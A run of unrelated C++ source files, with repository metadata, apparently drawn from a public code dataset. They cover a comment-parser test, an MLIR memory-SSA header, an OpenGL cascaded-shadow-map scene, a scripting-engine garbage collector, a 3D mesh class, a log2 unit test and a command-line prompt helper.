ASSERT_EQ(owns.len(), 1); // 1 for age
ASSERT_EQ(shares.len(), 2); // 1 for main() 1 for @ctor
}
TEST_F(commentTest, multiLineComment3) {
// control group.
make().parse(R"SRC(
age int /* age is age
main() int
sdfas*/main() int
return 33
)SRC").shouldParsed(false);
/* above case is same to,
*
* age int main() bool
* return false
*/
}
| 28.452055 | 88 | 0.584015 | kniz |
f86b78dd5854f0da41a656d457189bd8a83d0826 | 3,318 | hpp | C++ | mlir/include/mlir-extensions/analysis/memory_ssa.hpp | nbpatel/mlir-extensions | 1270a2550694a53a0c70fd5b17d518eef133802b | [
"Apache-2.0"
] | 28 | 2021-08-10T12:07:31.000Z | 2022-03-13T10:54:40.000Z | mlir/include/mlir-extensions/analysis/memory_ssa.hpp | nbpatel/mlir-extensions | 1270a2550694a53a0c70fd5b17d518eef133802b | [
"Apache-2.0"
] | 21 | 2021-09-28T12:58:22.000Z | 2022-03-25T21:08:56.000Z | mlir/include/mlir-extensions/analysis/memory_ssa.hpp | nbpatel/mlir-extensions | 1270a2550694a53a0c70fd5b17d518eef133802b | [
"Apache-2.0"
] | 6 | 2021-08-23T16:54:40.000Z | 2022-03-11T23:43:56.000Z | // Copyright 2021 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#pragma once
#include <iterator>
#include <llvm/ADT/ArrayRef.h>
#include <llvm/ADT/DenseMap.h>
#include <llvm/ADT/Optional.h>
#include <llvm/ADT/simple_ilist.h>
#include <llvm/Support/Allocator.h>
namespace mlir {
struct LogicalResult;
class Operation;
class Region;
} // namespace mlir
namespace plier {
class MemorySSA {
public:
enum class NodeType { Root, Def, Use, Phi, Term };
struct Node;
MemorySSA() = default;
MemorySSA(const MemorySSA &) = delete;
MemorySSA(MemorySSA &&) = default;
MemorySSA &operator=(const MemorySSA &) = delete;
MemorySSA &operator=(MemorySSA &&) = default;
Node *createDef(mlir::Operation *op, Node *arg);
Node *createUse(mlir::Operation *op, Node *arg);
Node *createPhi(mlir::Operation *op, llvm::ArrayRef<Node *> args);
void eraseNode(Node *node);
NodeType getNodeType(Node *node) const;
mlir::Operation *getNodeOperation(Node *node) const;
Node *getNodeDef(Node *node) const;
llvm::SmallVector<Node *> getUsers(Node *node);
Node *getRoot();
Node *getTerm();
Node *getNode(mlir::Operation *op) const;
struct NodesIterator {
using iterator_category = std::bidirectional_iterator_tag;
using difference_type = std::ptrdiff_t;
using value_type = Node;
using pointer = value_type *;
using reference = value_type &;
using internal_iterator = llvm::simple_ilist<Node>::iterator;
NodesIterator(internal_iterator iter);
NodesIterator(const NodesIterator &) = default;
NodesIterator(NodesIterator &&) = default;
NodesIterator &operator=(const NodesIterator &) = default;
NodesIterator &operator=(NodesIterator &&) = default;
bool operator==(const NodesIterator &rhs) const {
return iterator == rhs.iterator;
}
bool operator!=(const NodesIterator &rhs) const {
return iterator != rhs.iterator;
}
NodesIterator &operator++();
NodesIterator operator++(int);
NodesIterator &operator--();
NodesIterator operator--(int);
reference operator*();
pointer operator->();
private:
internal_iterator iterator;
};
llvm::iterator_range<NodesIterator> getNodes();
void print(llvm::raw_ostream &os);
void print(Node *node, llvm::raw_ostream &os);
mlir::LogicalResult optimizeUses(
llvm::function_ref<bool(mlir::Operation *, mlir::Operation *)> mayAlias);
private:
Node *root = nullptr;
Node *term = nullptr;
llvm::DenseMap<mlir::Operation *, Node *> nodesMap;
llvm::BumpPtrAllocator allocator;
llvm::simple_ilist<Node> nodes;
Node *createNode(mlir::Operation *op, NodeType type,
llvm::ArrayRef<Node *> args);
};
llvm::Optional<plier::MemorySSA> buildMemorySSA(mlir::Region ®ion);
} // namespace plier
| 28.603448 | 79 | 0.705244 | nbpatel |
f86d807b20f98c24e55669e9d5a5c3d4c7c36e68 | 9,671 | cc | C++ | Projects/CSM/SceneCSM.cc | mnrn/ReGL | 922b36716ff29fa5ed8f18c078d2369ef9fba6a9 | [
"MIT"
] | null | null | null | Projects/CSM/SceneCSM.cc | mnrn/ReGL | 922b36716ff29fa5ed8f18c078d2369ef9fba6a9 | [
"MIT"
] | null | null | null | Projects/CSM/SceneCSM.cc | mnrn/ReGL | 922b36716ff29fa5ed8f18c078d2369ef9fba6a9 | [
"MIT"
] | null | null | null | /**
* @brief Cascaded shadow mapping のテストシーン
*/
#include "SceneCSM.h"
#include <boost/assert.hpp>
#include <cmath>
#include <glm/gtc/constants.hpp>
#include <iostream>
#include <spdlog/spdlog.h>
#include "CSM.h"
#include "GUI/GUI.h"
#include "HID/KeyInput.h"
#ifdef WIN32
#ifdef far
#undef far
#endif
#ifdef near
#undef near
#endif
#endif
// ********************************************************************************
// constexpr variables
// ********************************************************************************
static constexpr int kCascadesMax = 8;
static constexpr float kCameraFOVY = 50.0f;
static constexpr float kCameraNear = 0.1f;
static constexpr float kCameraFar = 10.0f;
static constexpr float kCameraHeight = 1.0f;
static constexpr float kCameraRadius = 2.25f;
static constexpr float kCameraDefaultAngle = glm::two_pi<float>() * 0.85f;
static constexpr glm::vec3 kLightDefaultPosition{-2.0f, 2.0f, -2.0f};
static constexpr glm::vec3 kLightDefaultTarget{0.0f};
static constexpr glm::vec3 kLightDefaultDir =
kLightDefaultTarget - kLightDefaultPosition;
static constexpr int kShadowMapSize = 2048;
static constexpr int kShadowMapWidth = kShadowMapSize;
static constexpr int kShadowMapHeight = kShadowMapSize;
static constexpr glm::vec3 kLightColor{0.85f};
static constexpr glm::mat4 kShadowBias{0.5f, 0.0f, 0.0f, 0.0f, 0.0f, 0.5f,
0.0f, 0.0f, 0.0f, 0.0f, 0.5f, 0.0f,
0.5f, 0.5f, 0.5f, 1.0f};
// ********************************************************************************
// Override functions
// ********************************************************************************
void SceneCSM::OnInit() {
SetupCamera();
if (const auto msg = CompileAndLinkShader()) {
std::cerr << msg.value() << std::endl;
BOOST_ASSERT_MSG(false, "failed to compile or link!");
} else {
progs_[kShadeWithShadow].Use();
progs_[kShadeWithShadow].SetUniform("Light.La", kLightColor);
progs_[kShadeWithShadow].SetUniform("Light.Ld", kLightColor);
progs_[kShadeWithShadow].SetUniform("Light.Ls", kLightColor);
progs_[kShadeWithShadow].SetUniform("ShadowMaps", 0);
}
// CSM用のFBOの初期化を行います。
if (!csmFBO_.OnInit(kCascadesMax, kShadowMapWidth, kShadowMapHeight)) {
BOOST_ASSERT_MSG(false, "Framebuffer is not complete.");
}
glClearColor(0.9f, 0.9f, 0.9f, 1.0f);
}
void SceneCSM::OnDestroy() { spdlog::drop_all(); }
void SceneCSM::OnUpdate(float t) {
UpdateGUI();
const float deltaT = tPrev_ == 0.0f ? 0.0f : t - tPrev_;
tPrev_ = t;
angle_ += param_.rotSpeed * deltaT;
if (angle_ > glm::two_pi<float>()) {
angle_ -= glm::two_pi<float>();
}
const glm::vec3 kCamPt = glm::vec3(kCameraRadius * cos(angle_), kCameraHeight,
kCameraRadius * sin(angle_));
camera_.SetPosition(kCamPt);
}
void SceneCSM::OnRender() {
OnPreRender();
glEnable(GL_DEPTH_TEST);
{
Pass1();
Pass2();
}
glDisable(GL_DEPTH_TEST);
GUI::Render();
}
void SceneCSM::OnResize(int w, int h) {
SetDimensions(w, h);
glViewport(0, 0, w, h);
}
void SceneCSM::OnPreRender() {
CSM csm;
const auto splits = csm.ComputeSplitPlanes(param_.cascades, kCameraNear,
kCameraFar, param_.schemeLambda);
progs_[kShadeWithShadow].Use();
progs_[kShadeWithShadow].SetUniform("CascadesNum", param_.cascades);
csm.UpdateSplitPlanesUniform(
param_.cascades, splits, camera_, [&](int i, float clip) {
const std::string plane =
fmt::format("CameraHomogeneousSplitPlanes[{}]", i);
progs_[kShadeWithShadow].SetUniform(plane.c_str(), clip);
});
csm.UpdateFrustums(param_.cascades, splits, camera_);
vpCrops_ = csm.ComputeCropMatrices(param_.cascades, kLightDefaultDir,
static_cast<float>(kShadowMapSize));
}
// ********************************************************************************
// Shader settings
// ********************************************************************************
std::optional<std::string> SceneCSM::CompileAndLinkShader() {
// compile and links
if (auto msg = progs_[kRecordDepth].CompileAndLink(
{{"./Assets/Shaders/ShadowMap/RecordDepth.vs.glsl",
ShaderType::Vertex},
{"./Assets/Shaders/ShadowMap/RecordDepth.fs.glsl",
ShaderType::Fragment}})) {
return msg;
}
if (auto msg = progs_[kShadeWithShadow].CompileAndLink(
{{"./Assets/Shaders/ShadowMap/CSM/CSM.vs.glsl", ShaderType::Vertex},
{"./Assets/Shaders/ShadowMap/CSM/CSM.fs.glsl",
ShaderType::Fragment}})) {
return msg;
}
return std::nullopt;
}
void SceneCSM::SetMatrices() {
if (pass_ == kRecordDepth) {
const glm::mat4 mvp = vpCrops_[cascadeIdx_] * model_;
progs_[kRecordDepth].SetUniform("MVP", mvp);
} else if (pass_ == kShadeWithShadow) {
const glm::mat4 mv = view_ * model_;
progs_[kShadeWithShadow].SetUniform("ModelViewMatrix", mv);
progs_[kShadeWithShadow].SetUniform("NormalMatrix", glm::mat3(mv));
const glm::mat4 mvp = proj_ * mv;
progs_[kShadeWithShadow].SetUniform("MVP", mvp);
const glm::mat4 kInvView = camera_.GetInverseViewMatrix();
for (int i = 0; i < param_.cascades; i++) {
const glm::mat4 kLightMVP = kShadowBias * vpCrops_[i] * kInvView;
const std::string kUniLiMVP = fmt::format("ShadowMatrices[{}]", i);
progs_[kShadeWithShadow].SetUniform(kUniLiMVP.c_str(), kLightMVP);
}
}
}
void SceneCSM::SetMaterialUniforms(const glm::vec3 &diff, const glm::vec3 &amb,
const glm::vec3 &spec, float shininess) {
if (pass_ != kShadeWithShadow) {
return;
}
progs_[kShadeWithShadow].SetUniform("Material.Ka", amb);
progs_[kShadeWithShadow].SetUniform("Material.Kd", diff);
progs_[kShadeWithShadow].SetUniform("Material.Ks", spec);
progs_[kShadeWithShadow].SetUniform("Material.Shininess", shininess);
}
void SceneCSM::UpdateGUI() {
GUI::NewFrame();
ImGui::Begin("Cascaded Shadow Maps Config");
ImGui::Checkbox("PCF ON", ¶m_.isPCF);
ImGui::Checkbox("Visible Indicator", ¶m_.isVisibleIndicator);
ImGui::Checkbox("Shadow Only", ¶m_.isShadowOnly);
ImGui::SliderFloat("Split Scheme Lambda", ¶m_.schemeLambda, 0.01f, 0.99f);
ImGui::Text("Cascades");
ImGui::SameLine();
for (int i = 2; i <= kCascadesMax; i++) {
ImGui::RadioButton(std::to_string(i).c_str(), ¶m_.cascades, i);
if (i != kCascadesMax) {
ImGui::SameLine();
}
}
ImGui::SliderFloat("Camera Rotate Speed", ¶m_.rotSpeed, 0.0f, 1.0f);
ImGui::End();
}
// ********************************************************************************
// Drawing
// ********************************************************************************
// Shadow map generation
void SceneCSM::Pass1() {
pass_ = RenderPass::kRecordDepth;
glBindFramebuffer(GL_FRAMEBUFFER, csmFBO_.GetShadowFBO());
glViewport(0, 0, kShadowMapWidth, kShadowMapHeight);
glEnable(GL_POLYGON_OFFSET_FILL);
glPolygonOffset(2.5f, 10.0f);
glDisable(GL_CULL_FACE);
progs_[kRecordDepth].Use();
for (int i = 0; i < param_.cascades; i++) {
cascadeIdx_ = i;
glFramebufferTextureLayer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT,
csmFBO_.GetDepthTextureArray(), 0, i);
glClear(GL_DEPTH_BUFFER_BIT);
// ライトから見たシーンの描画
DrawScene();
}
glEnable(GL_CULL_FACE);
glDisable(GL_POLYGON_OFFSET_FILL);
}
// render
void SceneCSM::Pass2() {
pass_ = RenderPass::kShadeWithShadow;
glBindFramebuffer(GL_FRAMEBUFFER, 0);
glViewport(0, 0, width_, height_);
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glActiveTexture(GL_TEXTURE0);
glBindTexture(GL_TEXTURE_2D_ARRAY, csmFBO_.GetDepthTextureArray());
proj_ = camera_.GetProjectionMatrix();
view_ = camera_.GetViewMatrix();
progs_[kShadeWithShadow].Use();
progs_[kShadeWithShadow].SetUniform(
"Light.Position", view_ * glm::vec4(kLightDefaultPosition, 1.0f));
progs_[kShadeWithShadow].SetUniform("IsPCF", param_.isPCF);
progs_[kShadeWithShadow].SetUniform("IsShadowOnly", param_.isShadowOnly);
progs_[kShadeWithShadow].SetUniform("IsVisibleIndicator",
param_.isVisibleIndicator);
DrawScene();
glBindTexture(GL_TEXTURE_2D_ARRAY, 0);
}
void SceneCSM::DrawScene() {
const glm::vec3 diff = glm::vec3(1.0f, 0.85f, 0.55f);
const glm::vec3 amb = diff * 0.1f;
const glm::vec3 spec = glm::vec3(0.0f);
// 建物の描画
SetMaterialUniforms(diff, amb, spec, 1.0f);
model_ = glm::mat4(1.0f);
SetMatrices();
building_->Render();
// 平面の描画
SetMaterialUniforms(glm::vec3(0.25f, 0.25f, 0.25f),
glm::vec3(0.0f, 0.0f, 0.0f),
glm::vec3(0.05f, 0.05f, 0.05f), 1.0f);
model_ = glm::mat4(1.0f);
SetMatrices();
plane_.Render();
}
// ********************************************************************************
// View
// ********************************************************************************
void SceneCSM::SetupCamera() {
angle_ = kCameraDefaultAngle;
const glm::vec3 kCamPt = glm::vec3(kCameraRadius * cos(angle_), kCameraHeight,
kCameraRadius * sin(angle_));
camera_.SetupOrient(kCamPt, glm::vec3(0.0f, 0.0f, 0.0f),
glm::vec3(0.0f, 1.0f, 0.0f));
camera_.SetupPerspective(glm::radians(kCameraFOVY),
static_cast<float>(width_) /
static_cast<float>(height_),
kCameraNear, kCameraFar);
}
| 32.023179 | 83 | 0.602626 | mnrn |
f873e81edc799f9a9101767be4c0c89189e11c1e | 4,759 | cpp | C++ | core/src/GarbageCollector.cpp | Devronium/ConceptApplicationServer | c1fcb8de8d752f352485840aab13511dd1aa6a15 | [
"BSD-2-Clause"
] | 11 | 2016-01-24T18:53:36.000Z | 2021-01-21T08:59:01.000Z | core/src/GarbageCollector.cpp | Devronium/ConceptApplicationServer | c1fcb8de8d752f352485840aab13511dd1aa6a15 | [
"BSD-2-Clause"
] | 1 | 2016-01-22T21:38:38.000Z | 2016-01-30T17:25:01.000Z | core/src/GarbageCollector.cpp | Devronium/ConceptApplicationServer | c1fcb8de8d752f352485840aab13511dd1aa6a15 | [
"BSD-2-Clause"
] | null | null | null | #include "GarbageCollector.h"
#include "CompiledClass.h"
#include "ClassCode.h"
#include "Array.h"
#include "PIFAlizator.h"
POOLED_IMPLEMENTATION(_GarbageElement)
POOLED_IMPLEMENTATION(GarbageCollector)
GarbageCollector::GarbageCollector() {
BASE = 0;
}
void GarbageCollector::Call_All_Destructors(void *PIF) {
#ifdef USE_HASHTABLE_GC
if (BASE) {
for (khint_t k = kh_begin(BASE); k != kh_end(BASE); ++k) {
if (kh_exist(BASE, k)) {
CompiledClass *ptr = (struct CompiledClass *)(uintptr_t)kh_key(BASE, k);
if (CompiledClass_HasDestructor(ptr))
CompiledClass_Destroy(ptr, (PIFAlizator *)PIF);
}
}
}
#else
GarbageElement *NODE = BASE;
GarbageElement *NODE2 = 0;
while (NODE) {
NODE2 = NODE->NEXT;
CompiledClass *ptr = (struct CompiledClass *)NODE->DATA;
if (CompiledClass_HasDestructor(ptr)) {
CompiledClass_Destroy(PIF);
}
NODE = NODE2;
}
#endif
}
void GarbageCollector::EndOfExecution_SayBye_Objects() {
#ifdef USE_HASHTABLE_GC
if (BASE) {
khash_t (int64hashtable) *BASE2 = BASE;
BASE = 0;
for (khint_t k = kh_begin(BASE2); k != kh_end(BASE2); ++k) {
if (kh_exist(BASE2, k)) {
CompiledClass *ptr = (struct CompiledClass *)(uintptr_t)kh_key(BASE2, k);
if (ptr) {
ptr->LINKS = -1;
if (ptr->_CONTEXT) {
FAST_FREE(GET_PIF(ptr), ptr->_CONTEXT);
ptr->_CONTEXT = NULL;
}
delete_CompiledClass(ptr);
}
}
}
kh_destroy(int64hashtable, BASE2);
}
#else
GarbageElement *NODE = BASE;
GarbageElement *NODE2 = 0;
// to prevent recursive re-execution
BASE = 0;
while (NODE) {
NODE2 = NODE->NEXT;
CompiledClass *ptr = (struct CompiledClass *)NODE->DATA;
free(NODE);
NODE = NODE2;
ptr->LINKS = -1;
if (ptr->_CONTEXT) {
FAST_FREE(ptr->_CONTEXT);
ptr->_CONTEXT = NULL;
}
delete_CompiledClass(ptr);
}
#endif
}
void GarbageCollector::EndOfExecution_SayBye_Arrays() {
#ifdef USE_HASHTABLE_GC
if (BASE) {
khash_t (int64hashtable) *BASE2 = BASE;
BASE = 0;
for (khint_t k = kh_begin(BASE2); k != kh_end(BASE2); ++k) {
if (kh_exist(BASE2, k)) {
Array *ptr = (struct Array *)(uintptr_t)kh_key(BASE2, k);
if (ptr) {
ptr->LINKS = -1;
delete_Array(ptr);
}
}
}
kh_destroy(int64hashtable, BASE2);
}
#else
GarbageElement *NODE = BASE;
GarbageElement *NODE2 = 0;
BASE = 0;
while (NODE) {
NODE2 = NODE->NEXT;
Array *ptr = (struct Array *)NODE->DATA;
free(NODE);
NODE = NODE2;
ptr->LINKS = -1;
delete_Array(ptr);
}
#endif
}
void GarbageCollector::EndOfExecution_SayBye_Variables() {
#ifdef USE_HASHTABLE_GC
if (BASE) {
khash_t (int64hashtable) *BASE2 = BASE;
BASE = 0;
for (khint_t k = kh_begin(BASE2); k != kh_end(BASE2); ++k) {
if (kh_exist(BASE2, k)) {
VariableDATA *ptr = (VariableDATA *)(uintptr_t)kh_key(BASE2, k);
if (ptr) {
if (ptr->CLASS_DATA) {
if (ptr->TYPE == VARIABLE_STRING)
plainstring_delete((struct plainstring *)ptr->CLASS_DATA);
else
if (ptr->TYPE == VARIABLE_DELEGATE)
free_Delegate(ptr->CLASS_DATA);
ptr->CLASS_DATA = NULL;
}
VAR_FREE(ptr);
}
}
}
kh_destroy(int64hashtable, BASE2);
}
#else
GarbageElement *NODE = BASE;
GarbageElement *NODE2 = 0;
BASE = 0;
while (NODE) {
NODE2 = NODE->NEXT;
VariableDATA *ptr = (VariableDATA *)NODE->DATA;
free(NODE);
NODE = NODE2;
if (ptr)
VAR_FREE(ptr);
}
#endif
}
GarbageCollector::~GarbageCollector() {
#ifdef USE_HASHTABLE_GC
if (BASE) {
kh_destroy(int64hashtable, BASE);
BASE = 0;
}
#else
GarbageElement *NODE = BASE;
GarbageElement *NODE2 = 0;
while (NODE) {
NODE2 = NODE->NEXT;
free(NODE);
NODE = NODE2;
}
#endif
}
| 27.350575 | 90 | 0.499895 | Devronium |
f875187c4caccdffd3fe1f218c5f5e72d6a48cb8 | 1,091 | cpp | C++ | c3dEngine/c3dEngine/core/c3dModel.cpp | wantnon2/superSingleCell-c3dEngine | 512f99c649f1809bf63ef0e3e02342648372e2ce | [
"MIT"
] | 12 | 2015-02-12T10:54:20.000Z | 2019-02-18T22:15:53.000Z | c3dEngine/c3dEngine/core/c3dModel.cpp | wantnon2/superSingleCell-c3dEngine | 512f99c649f1809bf63ef0e3e02342648372e2ce | [
"MIT"
] | null | null | null | c3dEngine/c3dEngine/core/c3dModel.cpp | wantnon2/superSingleCell-c3dEngine | 512f99c649f1809bf63ef0e3e02342648372e2ce | [
"MIT"
] | 11 | 2015-02-10T04:02:14.000Z | 2021-12-08T09:12:10.000Z | //
// c3dActor.cpp
// HelloOpenGL
//
// Created by wantnon (yang chao) on 12-12-20.
//
//
#include "c3dModel.h"
void Cc3dModel::addMesh(Cc3dMesh*mesh){
assert(mesh);
m_meshList.push_back(mesh);
// mesh->setName("?");
this->addChild(mesh);
}
void Cc3dModel::submitVertex(GLenum usage){
int nMesh=(int)getMeshCount();
for(int i=0;i<nMesh;i++){
Cc3dMesh*mesh=m_meshList[i];
int nSubMesh=(int)mesh->getSubMeshCount();
for(int j=0;j<nSubMesh;j++){
Cc3dSubMesh*psubMesh=mesh->getSubMeshByIndex(j);
psubMesh->getIndexVBO()->submitVertex(psubMesh->getSubMeshData()->vlist, usage);
}
}
}
void Cc3dModel::submitIndex(GLenum usage){
int nMesh=(int)getMeshCount();
for(int i=0;i<nMesh;i++){
Cc3dMesh*mesh=m_meshList[i];
int nSubMesh=(int)mesh->getSubMeshCount();
for(int j=0;j<nSubMesh;j++){
Cc3dSubMesh*psubMesh=mesh->getSubMeshByIndex(j);
psubMesh->getIndexVBO()->submitIndex(psubMesh->getSubMeshData()->IDtriList, usage);
}
}
}
| 25.372093 | 95 | 0.612282 | wantnon2 |
f8769575f228c445245a6a0385378c2333da12ac | 658 | cpp | C++ | test/math/log2.cpp | freundlich/fcppt | 17df1b1ad08bf2435f6902d5465e3bc3fe5e3022 | [
"BSL-1.0"
] | 13 | 2015-02-21T18:35:14.000Z | 2019-12-29T14:08:29.000Z | test/math/log2.cpp | cpreh/fcppt | 17df1b1ad08bf2435f6902d5465e3bc3fe5e3022 | [
"BSL-1.0"
] | 5 | 2016-08-27T07:35:47.000Z | 2019-04-21T10:55:34.000Z | test/math/log2.cpp | freundlich/fcppt | 17df1b1ad08bf2435f6902d5465e3bc3fe5e3022 | [
"BSL-1.0"
] | 8 | 2015-01-10T09:22:37.000Z | 2019-12-01T08:31:12.000Z | // Copyright Carl Philipp Reh 2009 - 2021.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#include <fcppt/catch/begin.hpp>
#include <fcppt/catch/end.hpp>
#include <fcppt/math/log2.hpp>
#include <fcppt/config/external_begin.hpp>
#include <catch2/catch.hpp>
#include <fcppt/config/external_end.hpp>
FCPPT_CATCH_BEGIN
TEST_CASE("math::log2", "[math]")
{
CHECK(fcppt::math::log2(1U) == 0U);
CHECK(fcppt::math::log2(2U) == 1U);
CHECK(fcppt::math::log2(4U) == 2U);
CHECK(fcppt::math::log2(8U) == 3U);
}
FCPPT_CATCH_END
| 24.37037 | 61 | 0.683891 | freundlich |
f87957f19395e609ed92b48c9be7c78abcb23f73 | 1,560 | cpp | C++ | source/code/scratch/old_repos/Jstd/Jstd/project/src/jstd-tool/jstd-tool/warn_fix_prompter.cpp | luxe/CodeLang-compiler | 78837d90bdd09c4b5aabbf0586a5d8f8f0c1e76a | [
"MIT"
] | 33 | 2019-05-30T07:43:32.000Z | 2021-12-30T13:12:32.000Z | source/code/scratch/old_repos/Jstd/Jstd/project/src/jstd-tool/jstd-tool/warn_fix_prompter.cpp | luxe/CodeLang-compiler | 78837d90bdd09c4b5aabbf0586a5d8f8f0c1e76a | [
"MIT"
] | 371 | 2019-05-16T15:23:50.000Z | 2021-09-04T15:45:27.000Z | source/code/scratch/old_repos/Jstd/Jstd/project/src/jstd-tool/jstd-tool/warn_fix_prompter.cpp | UniLang/compiler | c338ee92994600af801033a37dfb2f1a0c9ca897 | [
"MIT"
] | 6 | 2019-08-22T17:37:36.000Z | 2020-11-07T07:15:32.000Z | #include "warn_fix_prompter.hpp"
bool Warn_Fix_Prompter::Prompt_To_Add_File(std::string const& file){
std::cout << "add file " << file << "?";
return Prompt();
}
bool Warn_Fix_Prompter::Prompt_To_Delete_File(std::string const& file){
std::cout << "delete file " << file << "?";
return Prompt();
}
bool Warn_Fix_Prompter::Prompt_To_Delete_Duplicate_Header(std::pair<std::string,std::string> const& it){
std::cout << "delete duplicate header " << it.second << " in " << it.first << "?";
return Prompt();
}
bool Warn_Fix_Prompter::Prompt_To_Delete_Uneeded_Header(std::pair<std::string,std::string> const& it){
std::cout << "delete unneeded header " << it.second << " in " << it.first << "?";
return Prompt();
}
bool Warn_Fix_Prompter::Prompt_To_Delete_Empty_Compact(std::pair<std::string,std::string> const& it){
std::cout << "delete empty contact in " << it.first << "?";
return Prompt();
}
bool Warn_Fix_Prompter::Prompt_To_Delete_Duplicate_Compact(std::pair<std::string,std::string> const& it){
std::cout << "delete duplicate compact " << it.second << " in " << it.first << "?";
return Prompt();
}
bool Warn_Fix_Prompter::Prompt_To_Fix_Folder_Casing(std::pair<std::string,std::string> const& it) {
std::cout << "fix the casing in folder " << it.first << it.second << "?";
return Prompt();
}
bool Warn_Fix_Prompter::Prompt(){
bool yes = true;
std::cout << " (y/n)? ";
char c;
std::cin >> c;
while (c != 'y' && c != 'n'){
std::cout << "(y/n)? ";
std::cin >> c;
}
if (c != 'y'){
yes = false;
}
return yes;
}
| 31.836735 | 105 | 0.642949 | luxe |